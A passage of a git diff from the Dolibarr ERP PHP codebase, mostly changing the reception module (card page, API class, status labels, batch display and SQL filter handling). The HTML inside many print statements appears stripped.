(!empty($logo) && is_readable($conf->mycompany->dir_output.'/logos/'.$logo)) { + $urllogo = DOL_URL_ROOT.'/viewimage.php?modulepart=mycompany'.($conf->entity > 1 ? '&entity='.$conf->entity : '').'&file='.urlencode('logos/'.$logo); + $urllogofull = $dolibarr_main_url_root.'/viewimage.php?modulepart=mycompany'.($conf->entity > 1 ? '&entity='.$conf->entity : '').'&file='.urlencode('logos/'.$logo); + } + // Output html code for logo + if ($urllogo) { + print '
      '; + if (!empty($mysoc->url)) { + print ''; + } + print ''; + if (!empty($mysoc->url)) { + print ''; + } + print '
      '; + } + print ''."\n"; + + // Output payment summary form + print ''."\n"; + + print '
      '; + + print '
      '; + + // Add company info + if ($mysoc->name) { + print '
      '; + print dol_escape_htmltag($mysoc->name); + print '
      '; + print '
      '; + } + + print $companysection; + + print '
      '."\n"; + print "\n"; + + print '
      '."\n"; +} + + +// Description +$text = getDolUserString('USER_PUBLIC_MORE', '', $object); +print $text; + + +print ''."\n"; +print '
      '."\n"; +print '
      '; + + +print ''; + +$fullexternaleurltovirtualcard = $object->getOnlineVirtualCardUrl('', 'external'); +$fullinternalurltovirtualcard = $object->getOnlineVirtualCardUrl('', 'internal'); + +print ''; + +llxFooter('', 'public'); + +$db->close(); diff --git a/htdocs/reception/card.php b/htdocs/reception/card.php index 9fdae4e0cc7..2bfede4b28b 100644 --- a/htdocs/reception/card.php +++ b/htdocs/reception/card.php @@ -93,6 +93,8 @@ if (GETPOST('modelselected')) { } $confirm = GETPOST('confirm', 'alpha'); $cancel = GETPOST('cancel', 'alpha'); +$backtopage = GETPOST('backtopage', 'alpha'); +$backtopageforcancel = GETPOST('backtopageforcancel', 'alpha'); //PDF $hidedetails = (GETPOST('hidedetails', 'int') ? GETPOST('hidedetails', 'int') : (!empty($conf->global->MAIN_GENERATE_DOCUMENTS_HIDE_DETAILS) ? 1 : 0)); @@ -178,7 +180,29 @@ if ($reshook < 0) { } if (empty($reshook)) { + /* + $backurlforlist = DOL_URL_ROOT.'/reception/list.php'; + + if (empty($backtopage) || ($cancel && empty($id))) { + if (empty($backtopage) || ($cancel && strpos($backtopage, '__ID__'))) { + if (empty($id) && (($action != 'add' && $action != 'create') || $cancel)) { + $backtopage = $backurlforlist; + } else { + $backtopage = dol_buildpath('/mymodule/myobject_card.php', 1).'?id='.((!empty($id) && $id > 0) ? $id : '__ID__'); + } + } + } + */ + if ($cancel) { + if (!empty($backtopageforcancel)) { + header("Location: ".$backtopageforcancel); + exit; + } elseif (!empty($backtopage)) { + header("Location: ".$backtopage); + exit; + } + $action = ''; } @@ -315,16 +339,17 @@ if (empty($reshook)) { } } + // Loop lines to calculate $totalqty for ($i = 1; $i <= $num; $i++) { - $idl = "idl".$i; + $idl = "idl".$i; // id line source - $sub_qty = array(); - $subtotalqty = 0; + //$sub_qty = array(); + //$subtotalqty = 0; - $j = 0; - $batch = "batchl".$i."_0"; - $stockLocation = "ent1".$i."_0"; - $qty = "qtyl".$i; + //$j = 0; + //$batch = "batchl".$i."_0"; + //$stockLocation = "ent1".$i."_0"; + $qty = "qtyl".$i; // qty //reception line for product with no batch management and no multiple stock location if (GETPOST($qty, 'alpha') > 0) { @@ -338,6 +363,7 @@ if (empty($reshook)) { if ($totalqty > 0) { // There is at least one thing to ship for ($i = 1; $i <= $num; $i++) { + $idl = "idl".$i; // id line source $lineToTest = ''; $lineId = GETPOST($idl, 'int'); foreach ($objectsrc->lines as $linesrc) { @@ -351,26 +377,28 @@ if (empty($reshook)) { } $qty = "qtyl".$i; $comment = "comment".$i; - // EATBY <-> DLUO see productbatch.class.php - // SELLBY <-> DLC + // EATBY <-> DLUO and SELLBY <-> DLC, see productbatch.class.php $eatby = "dluo".$i; $sellby = "dlc".$i; $batch = "batch".$i; $cost_price = "cost_price".$i; - //if (GETPOST($qty, 'int') > 0 || (GETPOST($qty, 'int') == 0 && getDolGlobalString('RECEPTION_GETS_ALL_ORDER_PRODUCTS')) || (GETPOST($qty, 'int') < 0 && getDolGlobalString('RECEPTION_ALLOW_NEGATIVE_QTY'))) { - if (GETPOST($qty, 'int') > 0 || (GETPOST($qty, 'int') == 0 && $conf->global->RECEPTION_GETS_ALL_ORDER_PRODUCTS)) { - $ent = "entl".$i; + //var_dump(GETPOST("productl".$i, 'int').' '.GETPOST('entl'.$i, 'int').' '.GETPOST($idl, 'int').' '.GETPOST($qty, 'int').' '.GETPOST($batch, 'alpha')); + //if (GETPOST($qty, 'int') > 0 || (GETPOST($qty, 'int') == 0 && getDolGlobalString('RECEPTION_GETS_ALL_ORDER_PRODUCTS')) || (GETPOST($qty, 'int') < 0 && getDolGlobalString('RECEPTION_ALLOW_NEGATIVE_QTY'))) { + if (GETPOST($qty, 'int') > 0 || (GETPOST($qty, 'int') == 0 && getDolGlobalString('RECEPTION_GETS_ALL_ORDER_PRODUCTS'))) { + $ent = "entl".$i; $idl = "idl".$i; $entrepot_id = is_numeric(GETPOST($ent, 'int')) ? GETPOST($ent, 'int') : GETPOST('entrepot_id', 'int'); + /* if (!empty($lineToTest)) { $fk_product = $lineToTest->fk_product; } else { $fk_product = $linesrc->fk_product; - } + }*/ + $fk_product = GETPOST("productl".$i, 'int'); if ($entrepot_id < 0) { $entrepot_id = ''; @@ -378,6 +406,7 @@ if (empty($reshook)) { if (!($fk_product > 0) && empty($conf->global->STOCK_SUPPORTS_SERVICES)) { $entrepot_id = 0; } + $eatby = GETPOST($eatby, 'alpha'); $sellby = GETPOST($sellby, 'alpha'); $eatbydate = str_replace('/', '-', $eatby); @@ -395,7 +424,6 @@ if (empty($reshook)) { } } - // Fill array 'array_options' with data from add form $ret = $extrafields->setOptionalsFromPost(null, $object); if ($ret < 0) { @@ -760,6 +788,8 @@ if ($action == 'create') { print ''; print ''; print ''; + print ''; + print ''; if (GETPOST('entrepot_id', 'int')) { print ''; } @@ -915,7 +945,7 @@ if ($action == 'create') { print dol_get_fiche_end(); - // Reception lines + // Number of lines show on the reception card $numAsked = 0; /** @@ -928,7 +958,7 @@ if ($action == 'create') { foreach ($_POST as $key => $value) { // If create form is coming from the button "Create Reception" of previous page - // without batch module enabled + // without batch module enabled or product with no lot/serial $reg = array(); if (preg_match('/^product_([0-9]+)_([0-9]+)$/i', $key, $reg)) { $numAsked++; @@ -943,10 +973,10 @@ if ($action == 'create') { $ent = "entrepot_" . $paramSuffix; $pu = "pu_" . $paramSuffix; // This is unit price including discount $fk_commandefourndet = "fk_commandefourndet_" . $paramSuffix; - $dispatchLines[$numAsked] = array('prod' => GETPOST($prod, 'int'), 'qty' => price2num(GETPOST($qty), 'MS'), 'ent' => GETPOST($ent, 'int'), 'pu' => price2num(GETPOST($pu), 'MU'), 'comment' => GETPOST('comment'), 'fk_commandefourndet' => GETPOST($fk_commandefourndet, 'int')); + $dispatchLines[$numAsked] = array('paramSuffix'=>$paramSuffix, 'prod' => GETPOST($prod, 'int'), 'qty' => price2num(GETPOST($qty), 'MS'), 'ent' => GETPOST($ent, 'int'), 'pu' => price2num(GETPOST($pu), 'MU'), 'comment' => GETPOST('comment'), 'fk_commandefourndet' => GETPOST($fk_commandefourndet, 'int')); } - // with batch module enabled + // with batch module enabled and product with lot/serial if (preg_match('/^product_batch_([0-9]+)_([0-9]+)$/i', $key, $reg)) { $numAsked++; $paramSuffix = $reg[1] . '_' . $reg[2]; @@ -964,11 +994,11 @@ if ($action == 'create') { $dDLUO = dol_mktime(12, 0, 0, GETPOST('dluo_'.$paramSuffix.'month', 'int'), GETPOST('dluo_'.$paramSuffix.'day', 'int'), GETPOST('dluo_'.$paramSuffix.'year', 'int')); $dDLC = dol_mktime(12, 0, 0, GETPOST('dlc_'.$paramSuffix.'month', 'int'), GETPOST('dlc_'.$paramSuffix.'day', 'int'), GETPOST('dlc_'.$paramSuffix.'year', 'int')); $fk_commandefourndet = 'fk_commandefourndet_'.$paramSuffix; - $dispatchLines[$numAsked] = array('prod' => GETPOST($prod, 'int'), 'qty' => price2num(GETPOST($qty), 'MS'), 'ent' => GETPOST($ent, 'int'), 'pu' => price2num(GETPOST($pu), 'MU'), 'comment' => GETPOST('comment'), 'fk_commandefourndet' => GETPOST($fk_commandefourndet, 'int'), 'DLC'=> $dDLC, 'DLUO'=> $dDLUO, 'lot'=> GETPOST($lot, 'alpha')); + $dispatchLines[$numAsked] = array('paramSuffix'=>$paramSuffix, 'prod' => GETPOST($prod, 'int'), 'qty' => price2num(GETPOST($qty), 'MS'), 'ent' => GETPOST($ent, 'int'), 'pu' => price2num(GETPOST($pu), 'MU'), 'comment' => GETPOST('comment'), 'fk_commandefourndet' => GETPOST($fk_commandefourndet, 'int'), 'DLC'=> $dDLC, 'DLUO'=> $dDLUO, 'lot'=> GETPOST($lot, 'alpha')); } // If create form is coming from same page, it means that post was sent but an error occured - if (preg_match('/^productid([0-9]+)$/i', $key, $reg)) { + if (preg_match('/^productl([0-9]+)$/i', $key, $reg)) { $numAsked++; $paramSuffix = $reg[1]; $suffix2numAsked[$paramSuffix] = $numAsked; @@ -1090,9 +1120,13 @@ if ($action == 'create') { $product->fetch($line->fk_product); $product->load_stock('warehouseopen'); // Load all $product->stock_warehouse[idwarehouse]->detail_batch //var_dump($product->stock_warehouse[1]); + //var_dump($dispatchLines[$indiceAsked]); print ''; print ''; // ancre pour retourner sur la ligne + + print ''; + if (! array_key_exists($line->id, $arrayofpurchaselinealreadyoutput)) { // Add test to avoid to show qty twice print ''; @@ -1242,10 +1276,15 @@ if ($action == 'create') { // Display lines for extrafields of the Reception line // $line is a 'CommandeFournisseurLigne', $dispatchLines contains values of Reception lines so properties of CommandeFournisseurDispatch if (!empty($extrafields)) { - //var_dump($line); $colspan = 5; if (isModEnabled('productbatch')) { - $colspan += 3; + $colspan += 2; + if (empty($conf->global->PRODUCT_DISABLE_SELLBY)) { + $colspan += 1; + } + if (empty($conf->global->PRODUCT_DISABLE_EATBY)) { + $colspan += 1; + } } $recLine = new CommandeFournisseurDispatch($db); @@ -1286,7 +1325,7 @@ if ($action == 'create') { $lines = $object->lines; $num_prod = count($lines); - + $indiceAsked = 0; if ($object->id > 0) { if (!empty($object->origin) && $object->origin_id > 0) { $object->origin = 'CommandeFournisseur'; @@ -1389,7 +1428,7 @@ if ($action == 'create') { if ($action != 'classify' && $permissiontoadd) { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, (empty($conf->global->PROJECT_CAN_ALWAYS_LINK_TO_ALL_SUPPLIERS) ? $object->socid : -1), $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, (empty($conf->global->PROJECT_CAN_ALWAYS_LINK_TO_ALL_SUPPLIERS) ? $object->socid : -1), $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($objectsrc) && !empty($objectsrc->fk_project)) { $proj = new Project($db); @@ -1650,7 +1689,7 @@ if ($action == 'create') { '; } - print '
      '; + print '

      '; print '
      '; print ''; @@ -1684,7 +1723,7 @@ if ($action == 'create') { print $langs->trans("QtyReceived").' - '; } if (isModEnabled('stock')) { - print $langs->trans("WarehouseSource").' - '; + print $langs->trans("WarehouseTarget").' - '; } if (isModEnabled('productbatch')) { print $langs->trans("Batch"); @@ -1704,7 +1743,7 @@ if ($action == 'create') { print ''; } if (isModEnabled('stock')) { - print ''; + print ''; } if (isModEnabled('productbatch')) { @@ -1883,8 +1922,8 @@ if ($action == 'create') { } } } + print ''; } - print ''; if ($action == 'editline' && $lines[$i]->id == $line_id) { // edit mode @@ -1899,7 +1938,7 @@ if ($action == 'create') { print ''; // Batch number managment if ($conf->productbatch->enabled && !empty($lines[$i]->product->status_batch)) { - print ''; + print $detail . ''; } else { print ''; } @@ -1989,9 +2032,10 @@ if ($action == 'create') { if ($action == 'editline' && $lines[$i]->id == $line_id) { - print ''; } elseif ($object->statut == Reception::STATUS_DRAFT) { // edit-delete buttons print ''; } // Status billed @@ -1119,10 +1227,12 @@ while ($i < min($num, $limit)) { // Type ent if (!empty($arrayfields['typent.code']['checked'])) { print ''; if (!$i) { $totalarray['nbfield']++; diff --git a/htdocs/reception/note.php b/htdocs/reception/note.php index d916099b872..6edb752ead8 100644 --- a/htdocs/reception/note.php +++ b/htdocs/reception/note.php @@ -90,7 +90,7 @@ if ($origin == 'reception') { $result = restrictedArea($user, $origin, $object->id); } else { if ($origin == 'supplierorder' || $origin == 'order_supplier') { - $result = restrictedArea($user, 'fournisseur', $origin_id, 'commande_fournisseur', 'commande'); + $result = restrictedArea($user, 'fournisseur', $object, 'commande_fournisseur', 'commande'); } elseif (empty($user->rights->{$origin}->lire) && empty($user->rights->{$origin}->read)) { accessforbidden(); } @@ -143,7 +143,7 @@ if ($id > 0 || !empty($ref)) { if ($action != 'classify' && $permissiontoadd) { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, (empty($conf->global->PROJECT_CAN_ALWAYS_LINK_TO_ALL_SUPPLIERS) ? $object->socid : -1), $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, (empty($conf->global->PROJECT_CAN_ALWAYS_LINK_TO_ALL_SUPPLIERS) ? $object->socid : -1), $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($objectsrc) && !empty($objectsrc->fk_project)) { $proj = new Project($db); diff --git a/htdocs/reception/stats/index.php b/htdocs/reception/stats/index.php index 1e26bf5871a..f951beca058 100644 --- a/htdocs/reception/stats/index.php +++ b/htdocs/reception/stats/index.php @@ -41,7 +41,7 @@ $year = GETPOST('year') > 0 ?GETPOST('year') : $nowyear; $startyear = $year - (empty($conf->global->MAIN_STATS_GRAPHS_SHOW_N_YEARS) ? 2 : max(1, min(10, $conf->global->MAIN_STATS_GRAPHS_SHOW_N_YEARS))); $endyear = $year; -$langs->loadLangs(array("reception", "other", "companies")); +$langs->loadLangs(array("receptions", "other", "companies")); // Security check if ($user->socid) { @@ -302,7 +302,7 @@ print '
      '.$langs->trans("QtyReceived").''.$langs->trans("WarehouseSource").''.$langs->trans("WarehouseTarget").''.$formproduct->selectWarehouses($lines[$i]->fk_entrepot, 'entl'.$line_id, '', 1, 0, $lines[$i]->fk_product, '', 1).'
      '; + print '

      '; if (empty($conf->global->PRODUCT_DISABLE_SELLBY)) { print $langs->trans('SellByDate').' : '; print $form->selectDate($lines[$i]->sellby, 'dlc'.$line_id, '', '', 1, "").'
      '; @@ -1946,23 +1985,27 @@ if ($action == 'create') { if (isModEnabled('productbatch')) { if (isset($lines[$i]->batch)) { print ''; - print '
      '; - $detail = ''; - if ($lines[$i]->product->status_batch) { - $detail .= $langs->trans("Batch").': '.$lines[$i]->batch; - if (empty($conf->global->PRODUCT_DISABLE_SELLBY)) { - $detail .= ' - '.$langs->trans("SellByDate").': '.dol_print_date($lines[$i]->sellby, "day"); + print ''; + $detail = $langs->trans("NA"); + if ($lines[$i]->product->status_batch > 0 && $lines[$i]->fk_product > 0) { + require_once DOL_DOCUMENT_ROOT.'/product/stock/class/productlot.class.php'; + $productlot = new Productlot($db); + $reslot = $productlot->fetch(0, $lines[$i]->fk_product, $lines[$i]->batch); + if ($reslot > 0) { + $detail = $productlot->getNomUrl(1); + } else { + // lot is not created and info is only in reception lines + $batchinfo = $langs->trans("Batch").': '.$lines[$i]->batch; + if (empty($conf->global->PRODUCT_DISABLE_SELLBY)) { + $batchinfo .= ' - '.$langs->trans("SellByDate").': '.dol_print_date($lines[$i]->sellby, "day"); + } + if (empty($conf->global->PRODUCT_DISABLE_EATBY)) { + $batchinfo .= ' - '.$langs->trans("EatByDate").': '.dol_print_date($lines[$i]->eatby, "day"); + } + $detail = $form->textwithtooltip(img_picto('', 'object_barcode').' '.$langs->trans("DetailBatchNumber"), $batchinfo); } - if (empty($conf->global->PRODUCT_DISABLE_EATBY)) { - $detail .= ' - '.$langs->trans("EatByDate").': '.dol_print_date($lines[$i]->eatby, "day"); - } - $detail .= '
      '; - - print $form->textwithtooltip(img_picto('', 'object_barcode').' '.$langs->trans("DetailBatchNumber"), $detail); - } else { - print $langs->trans("NA"); } - print '
      '; - print '
      '; - print '
      '; + print '
      '; + print '
      '; + print '
      '; + print '
      '; @@ -2015,7 +2059,10 @@ if ($action == 'create') { // Display lines extrafields $extralabelslines = $extrafields->attributes[$lines[$i]->table_element]; if (!empty($extralabelslines) && is_array($extralabelslines) && count($extralabelslines) > 0) { - $colspan = empty($conf->productbatch->enabled) ? 8 : 9; + $colspan = 8; + if (isModEnabled('stock')) { $colspan++; } + if (isModEnabled('productbatch')) { $colspan++; } + $line = new CommandeFournisseurDispatch($db); $line->id = $lines[$i]->id; $line->fetch_optionals(); diff --git a/htdocs/reception/class/api_receptions.class.php b/htdocs/reception/class/api_receptions.class.php index 473650161e2..c9f4cba44cc 100644 --- a/htdocs/reception/class/api_receptions.class.php +++ b/htdocs/reception/class/api_receptions.class.php @@ -59,8 +59,7 @@ class Receptions extends DolibarrApi * Return an array with reception informations * * @param int $id ID of reception - * @return array|mixed data without useless information - * + * @return Object Object with cleaned properties * @throws RestException */ public function get($id) @@ -145,11 +144,10 @@ class Receptions extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { - throw new RestException(503, 'Error when validating parameter sqlfilters -> '.$errormessage); + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { + throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= $this->db->order($sortfield, $sortorder); @@ -386,14 +384,12 @@ class Receptions extends DolibarrApi /** * Delete a line to given reception * - * * @param int $id Id of reception to update * @param int $lineid Id of line to delete + * @return array * * @url DELETE {id}/lines/{lineid} * - * @return int - * * @throws RestException 401 * @throws RestException 404 */ @@ -412,23 +408,27 @@ class Receptions extends DolibarrApi throw new RestException(401, 'Access not allowed for login '.DolibarrApiAccess::$user->login); } - // TODO Check the lineid $lineid is a line of ojbect + // TODO Check the lineid $lineid is a line of object $updateRes = $this->reception->deleteline(DolibarrApiAccess::$user, $lineid); - if ($updateRes > 0) { - return $this->get($id); - } else { + if ($updateRes < 0) { throw new RestException(405, $this->reception->error); } + + return array( + 'success' => array( + 'code' => 200, + 'message' => 'Line deleted' + ) + ); } /** * Update reception general fields (won't touch lines of reception) * - * @param int $id Id of reception to update - * @param array $request_data Datas - * - * @return int + * @param int $id Id of reception to update + * @param array $request_data Datas + * @return Object Object with cleaned properties */ public function put($id, $request_data = null) { @@ -462,7 +462,6 @@ class Receptions extends DolibarrApi * Delete reception * * @param int $id Reception ID - * * @return array */ public function delete($id) @@ -497,12 +496,12 @@ class Receptions extends DolibarrApi * This may record stock movements if module stock is enabled and option to * decrease stock on reception is on. * - * @param int $id Reception ID - * @param int $notrigger 1=Does not execute triggers, 0= execute triggers + * @param int $id Reception ID + * @param int $notrigger 1=Does not execute triggers, 0= execute triggers * * @url POST {id}/validate * - * @return array + * @return Object * \todo An error 403 is returned if the request has an empty body. * Error message: "Forbidden: Content type `text/plain` is not supported." * Workaround: send this in the body @@ -625,12 +624,12 @@ class Receptions extends DolibarrApi /** * Close a reception (Classify it as "Delivered") * - * @param int $id Reception ID - * @param int $notrigger Disabled triggers + * @param int $id Reception ID + * @param int $notrigger Disabled triggers * * @url POST {id}/close * - * @return int + * @return Object */ public function close($id, $notrigger = 0) { diff --git a/htdocs/reception/class/reception.class.php b/htdocs/reception/class/reception.class.php index ebb50154eda..018d532a363 100644 --- a/htdocs/reception/class/reception.class.php +++ b/htdocs/reception/class/reception.class.php @@ -11,6 +11,7 @@ * Copyright (C) 2015 Claudio Aschieri * Copyright (C) 2016-2022 Ferran Marcet * Copyright (C) 2018 Quentin Vial-Gouteyron + * Copyright (C) 2022-2023 Frédéric France * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -50,6 +51,11 @@ class Reception extends CommonObject { use CommonIncoterm; + /** + * @var string code + */ + public $code = ""; + /** * @var string element name */ @@ -91,6 +97,12 @@ class Reception extends CommonObject public $date_delivery; // Date delivery planed + /** + * @var integer|string Effective delivery date + * @deprecated + * @see $date_reception + */ + public $date; /** * @var integer|string Effective delivery date @@ -110,9 +122,16 @@ class Reception extends CommonObject public $meths; public $listmeths; // List of carriers + /** + * @var CommandeFournisseurDispatch[] + */ public $lines = array(); + // detail of lot and qty = array(id in llx_commande_fournisseur_dispatch, batch, qty) + // We can use this to know warehouse planned to be used for each lot. + public $detail_batch; + const STATUS_DRAFT = 0; const STATUS_VALIDATED = 1; const STATUS_CLOSED = 2; @@ -127,27 +146,6 @@ class Reception extends CommonObject public function __construct($db) { $this->db = $db; - - // List of long language codes for status - $this->statuts = array(); - $this->statuts[-1] = 'StatusReceptionCanceled'; - $this->statuts[0] = 'StatusReceptionDraft'; - // product to receive if stock increase is on close or already received if stock increase is on validation - $this->statuts[1] = 'StatusReceptionValidated'; - if (getDolGlobalInt("STOCK_CALCULATE_ON_RECEPTION")) { - $this->statuts[1] = 'StatusReceptionValidatedReceived'; - } - if (getDolGlobalInt("STOCK_CALCULATE_ON_RECEPTION_CLOSE")) { - $this->statuts[1] = 'StatusReceptionValidatedToReceive'; - } - $this->statuts[2] = 'StatusReceptionProcessed'; - - // List of short language codes for status - $this->statuts_short = array(); - $this->statuts_short[-1] = 'StatusReceptionCanceledShort'; - $this->statuts_short[0] = 'StatusReceptionDraftShort'; - $this->statuts_short[1] = 'StatusReceptionValidatedShort'; - $this->statuts_short[2] = 'StatusReceptionProcessedShort'; } /** @@ -404,8 +402,7 @@ class Reception extends CommonObject $this->statut = $obj->fk_statut; $this->user_author_id = $obj->fk_user_author; $this->date_creation = $this->db->jdate($obj->date_creation); - $this->date = $this->db->jdate($obj->date_reception); // TODO deprecated - $this->date_reception = $this->db->jdate($obj->date_reception); // TODO deprecated + $this->date = $this->db->jdate($obj->date_reception); // TODO deprecated $this->date_reception = $this->db->jdate($obj->date_reception); // Date real $this->date_delivery = $this->db->jdate($obj->date_delivery); // Date planed $this->model_pdf = $obj->model_pdf; @@ -1204,6 +1201,14 @@ class Reception extends CommonObject $this->total_ttc += $pu_ht + $tva; + if (isModEnabled('productbatch') && !empty($line->batch)) { + $detail_batch = new stdClass(); + $detail_batch->eatby = $line->eatby; + $detail_batch->sellby = $line->sellby; + $detail_batch->batch = $line->batch; + $detail_batch->qty = $line->qty; + $line->detail_batch[] = $detail_batch; + } $this->lines[] = $line; } @@ -1296,8 +1301,27 @@ class Reception extends CommonObject // phpcs:enable global $langs; - $labelStatus = $langs->transnoentitiesnoconv($this->statuts[$status]); - $labelStatusShort = $langs->transnoentitiesnoconv($this->statuts_short[$status]); + // List of long language codes for status + $this->labelStatus[-1] = 'StatusReceptionCanceled'; + $this->labelStatus[0] = 'StatusReceptionDraft'; + // product to receive if stock increase is on close or already received if stock increase is on validation + $this->labelStatus[1] = 'StatusReceptionValidated'; + if (getDolGlobalInt("STOCK_CALCULATE_ON_RECEPTION")) { + $this->labelStatus[1] = 'StatusReceptionValidatedReceived'; + } + if (getDolGlobalInt("STOCK_CALCULATE_ON_RECEPTION_CLOSE")) { + $this->labelStatus[1] = 'StatusReceptionValidatedToReceive'; + } + $this->labelStatus[2] = 'StatusReceptionProcessed'; + + // List of short language codes for status + $this->labelStatusShort[-1] = 'StatusReceptionCanceledShort'; + $this->labelStatusShort[0] = 'StatusReceptionDraftShort'; + $this->labelStatusShort[1] = 'StatusReceptionValidatedShort'; + $this->labelStatusShort[2] = 'StatusReceptionProcessedShort'; + + $labelStatus = $langs->transnoentitiesnoconv($this->labelStatus[$status]); + $labelStatusShort = $langs->transnoentitiesnoconv($this->labelStatusShort[$status]); $statusType = 'status'.$status; if ($status == self::STATUS_VALIDATED) { @@ -1327,25 +1351,6 @@ class Reception extends CommonObject dol_syslog(get_class($this)."::initAsSpecimen"); - // Load array of products prodids - $num_prods = 0; - $prodids = array(); - $sql = "SELECT rowid"; - $sql .= " FROM ".MAIN_DB_PREFIX."product"; - $sql .= " WHERE entity IN (".getEntity('product').")"; - $sql .= $this->db->plimit(100); - - $resql = $this->db->query($sql); - if ($resql) { - $num_prods = $this->db->num_rows($resql); - $i = 0; - while ($i < $num_prods) { - $i++; - $row = $this->db->fetch_row($resql); - $prodids[$i] = $row[0]; - } - } - $order = new CommandeFournisseur($this->db); $order->initAsSpecimen(); @@ -1757,7 +1762,7 @@ class Reception extends CommonObject // We decrement stock of product (and sub-products) -> update table llx_product_stock (key of this table is fk_product+fk_entrepot) and add a movement record $inventorycode = ''; - $result = $mouvS->livraison($user, $obj->fk_product, $obj->fk_entrepot, $qty, $obj->cost_price, $langs->trans("ReceptionUnClassifyCloseddInDolibarr", $numref), $this->db->jdate($obj->eatby), $this->db->jdate($obj->sellby), $obj->batch, '', $obj->fk_origin_stock, $inventorycode); + $result = $mouvS->livraison($user, $obj->fk_product, $obj->fk_entrepot, $qty, $obj->cost_price, $langs->trans("ReceptionUnClassifyCloseddInDolibarr", $numref), '', $this->db->jdate($obj->eatby), $this->db->jdate($obj->sellby), $obj->batch, $obj->fk_origin_stock, $inventorycode); if ($result < 0) { $this->error = $mouvS->error; $this->errors = $mouvS->errors; @@ -1889,7 +1894,7 @@ class Reception extends CommonObject // We decrement stock of product (and sub-products) -> update table llx_product_stock (key of this table is fk_product+fk_entrepot) and add a movement record $inventorycode = ''; - $result = $mouvS->livraison($user, $obj->fk_product, $obj->fk_entrepot, $qty, $obj->cost_price, $langs->trans("ReceptionBackToDraftInDolibarr", $this->ref), $this->db->jdate($obj->eatby), $this->db->jdate($obj->sellby), $obj->batch, '', 0, $inventorycode); + $result = $mouvS->livraison($user, $obj->fk_product, $obj->fk_entrepot, $qty, $obj->cost_price, $langs->trans("ReceptionBackToDraftInDolibarr", $this->ref), '', $this->db->jdate($obj->eatby), $this->db->jdate($obj->sellby), $obj->batch, 0, $inventorycode); if ($result < 0) { $this->error = $mouvS->error; $this->errors = $mouvS->errors; @@ -1985,32 +1990,32 @@ class Reception extends CommonObject /** * Function used to replace a thirdparty id with another one. * - * @param DoliDB $db Database handler - * @param int $origin_id Old thirdparty id - * @param int $dest_id New thirdparty id - * @return bool + * @param DoliDB $dbs Database handler, because function is static we name it $dbs not $db to avoid breaking coding test + * @param int $origin_id Old thirdparty id + * @param int $dest_id New thirdparty id + * @return bool */ - public static function replaceThirdparty(DoliDB $db, $origin_id, $dest_id) + public static function replaceThirdparty(DoliDB $dbs, $origin_id, $dest_id) { $tables = array('reception'); - return CommonObject::commonReplaceThirdparty($db, $origin_id, $dest_id, $tables); + return CommonObject::commonReplaceThirdparty($dbs, $origin_id, $dest_id, $tables); } /** * Function used to replace a product id with another one. * - * @param DoliDB $db Database handler - * @param int $origin_id Old product id - * @param int $dest_id New product id - * @return bool + * @param DoliDB $dbs Database handler, because function is static we name it $dbs not $db to avoid breaking coding test + * @param int $origin_id Old thirdparty id + * @param int $dest_id New thirdparty id + * @return bool */ - public static function replaceProduct(DoliDB $db, $origin_id, $dest_id) + public static function replaceProduct(DoliDB $dbs, $origin_id, $dest_id) { $tables = array( 'commande_fournisseur_dispatch' ); - return CommonObject::commonReplaceProduct($db, $origin_id, $dest_id, $tables); + return CommonObject::commonReplaceProduct($dbs, $origin_id, $dest_id, $tables); } } diff --git a/htdocs/reception/contact.php b/htdocs/reception/contact.php index a03460b1e49..92b0dd2f1e8 100644 --- a/htdocs/reception/contact.php +++ b/htdocs/reception/contact.php @@ -71,8 +71,8 @@ if ($origin == 'reception') { $result = restrictedArea($user, $origin, $object->id); } else { if ($origin == 'supplierorder' || $origin == 'order_supplier') { - $result = restrictedArea($user, 'fournisseur', $origin_id, 'commande_fournisseur', 'commande'); - } elseif (empty($user->rights->{$origin}->lire) && empty($user->rights->{$origin}->read)) { + $result = restrictedArea($user, 'fournisseur', $object, 'commande_fournisseur', 'commande'); + } elseif (!$user->hasRight($origin, "lire") && !$user->hasRight($origin, "read")) { accessforbidden(); } } @@ -172,7 +172,7 @@ if ($id > 0 || !empty($ref)) { if ($action != 'classify' && $permissiontoadd) { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, (empty($conf->global->PROJECT_CAN_ALWAYS_LINK_TO_ALL_SUPPLIERS) ? $object->socid : -1), $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, (empty($conf->global->PROJECT_CAN_ALWAYS_LINK_TO_ALL_SUPPLIERS) ? $object->socid : -1), $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($objectsrc) && !empty($objectsrc->fk_project)) { $proj = new Project($db); diff --git a/htdocs/reception/document.php b/htdocs/reception/document.php index 980b5e50a33..56854244f7b 100644 --- a/htdocs/reception/document.php +++ 